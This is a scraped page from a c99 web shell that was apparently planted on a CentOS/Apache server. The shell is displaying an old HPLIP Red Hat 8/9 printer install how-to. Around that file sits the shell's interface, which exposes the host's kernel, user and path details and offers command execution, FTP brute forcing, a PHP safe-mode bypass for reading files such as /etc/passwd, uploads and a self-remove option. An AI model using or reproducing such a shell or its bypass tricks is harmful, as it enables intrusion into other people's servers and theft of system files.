!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/share/doc/hplip-1.6.7/howtos/   drwxr-xr-x
Free 51.95 GB of 127.8 GB (40.65%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     redhat.html (9.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
HPLIP Red Hat 8/9 How-To
HP Linux Imaging and Printing

HP Linux Imaging and Printing (HPLIP)

Home > How-Tos > Red Hat 8/9

Red Hat 8/9 How-To

Note: This process has been tested with Red Hat 8 and Red Hat 9. May work with other version of Red Hat (Enterprise, etc)

  1. Install RH8/RH9 Workstation to get gcc development tools. Or use the RH8/RH9 Package Manager to install the Development Tools.
*Gnome Menu
        *System Settings
                *Packages
  1. Goto the "Development" section, Click "Details" next to "Development Tools. Ensure the following packages are installed:
automake14
automake15
cvs
diffstat
dmalloc
doxygen
gcc-g77
gcc-gnat
gcc-java
indent
ltrace
memprof
patchutils
rcs
splint
  1. Use the RH8 Package Manager and install CUPS under Printing Support.
*Gnome Menu
        *System Settings
                *Packages
  1. Go to the "System" section, click "Details" next to Printing Support. Ensure the following package is installed:
Cups
  1. Start the cupsd daemon:
su
/etc/init.d/cups start
  1. Install cups-devel. RPM is on RH8 CD #2
cd /mnt/cdrom/RedHat/RPMS

Note: cd-rom may mount in a different directory. Should be something similiar however.

rpm -ivh cups-devel-1.1.15-10.i386.rpm
  1. Install sane-backends-devel. RPM is on RH8 CD #2.
cd /mnt/cdrom/RedHat/RPMS
rpm -ivh sane-backends-devel-1.0.8-5.i386.rpm
  1. Update libusb from 0.1.6 to 0.1.8.
wget http://hplip.sf.net/libusb-0.1.8.tar.gz
tar xzvf libusb-0.1.8.tar.gz
cd libusb-0.1.8
./configure --prefix=/usr
make
su
make install
rm /usr/lib/libusb.so
ln -s /usr/lib/libusb-0.1.4.4.0 /usr/lib/libusb.so
exit
  1. Update xsane from 0.84 to 0.96 (actually 0.92 or higher will work).
wget http://hplip.sf.net/xsane-0.96.tar.gz
tar xzvf xsane-0.96.tar.gz
cd xsane-0.96
./configure --prefix=/usr
make
su
make install
exit
  1. Build hplip with no network and no fax support. Use hplip-1.6.6a or newer.
tar xvfz hplip-1.6.6a.0.tar.gz
cd hplip-1.6.6a.0
./configure --prefix=/usr --disable-network-build --disable-fax-build
make
su

Note: do not exit root until after step 11.

make install
  1. Start HPLIP daemons.
/etc/init.d/hplip start
  1. Libusb replaces the "printer" kernel module, so we must blacklist the "printer" kernel module so it will not be loaded during USB hotplug events. This also means only libusb printer drivers will work when the "printer" kernel module is removed.
  1. Add "alias printer off" line to /etc/modules.conf.
Run from terminal:
su
gedit /etc/modules.conf
Add to the bottom of the file:
"alias printer off"
Save, Exit
  1. Add "printer" line to /etc/hotplug/blacklist.
Run from terminal:
su
gedit /etc/hotplug/blacklist
Add to the bottom of the file:
"printer"
Save, Exit
  1. Run:
su
/sbin/rmmod printer
  1. Restart cupsd so that it will see new the USB printer.
/etc/init.d/cups restart
exit
  1. To continue proceed to Step 4.

Last update: Tue Jun 27 16:22:44 2006


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0126 ]--